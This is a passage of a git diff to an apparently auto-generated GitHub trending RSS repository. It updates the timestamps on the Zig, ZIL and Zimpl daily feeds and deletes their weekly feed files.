b/zig/daily/index.xml @@ -1,14 +1,7 @@ GitHub Zig Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:19Z + 2023-09-25T01:44:12Z Daily Trending of Zig in GitHub - - thimenesup/GodotZigBindings - 2023-09-24T01:45:19Z - tag:github.com,2023-09-24:/thimenesup/GodotZigBindings - - <p>Zig lang bindings for Godot Engine GDNative</p><hr> - \ No newline at end of file diff --git a/zig/weekly/index.xml b/zig/weekly/index.xml deleted file mode 100644 index 16844d3d2b0..00000000000 --- a/zig/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Zig Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:34Z - Weekly Trending of Zig in GitHub - - - fulcrum-so/ziggy-pydust - 2023-09-24T02:04:34Z - tag:github.com,2023-09-24:/fulcrum-so/ziggy-pydust - - <p>A toolkit for building Python extensions in Zig.</p><hr> - - \ No newline at end of file diff --git a/zil/daily/index.xml b/zil/daily/index.xml index be9aeae8c40..2ea3136b26a 100644 --- a/zil/daily/index.xml +++ b/zil/daily/index.xml @@ -1,7 +1,7 @@ GitHub ZIL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:17Z + 2023-09-25T01:44:09Z Daily Trending of ZIL in GitHub \ No newline at end of file diff --git a/zil/weekly/index.xml b/zil/weekly/index.xml deleted file mode 100644 index 1742adf3c17..00000000000 --- a/zil/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ZIL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:31Z - Weekly Trending of ZIL in GitHub - - \ No newline at end of file diff --git a/zimpl/daily/index.xml b/zimpl/daily/index.xml index 0e1af9732e8..644210eea87 100644 --- a/zimpl/daily/index.xml +++ b/zimpl/daily/index.xml @@ -1,7 +1,7 @@ GitHub Zimpl Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:20Z + 2023-09-25T01:44:10Z Daily Trending of Zimpl in GitHub \ No newline at end of file diff --git a/zimpl/weekly/index.xml b/zimpl/weekly/index.xml deleted file mode 100644 index e351c7ee436..00000000000 --- a/zimpl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Zimpl Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:04:32Z - Weekly Trending of Zimpl in GitHub - - \ No newline at end of file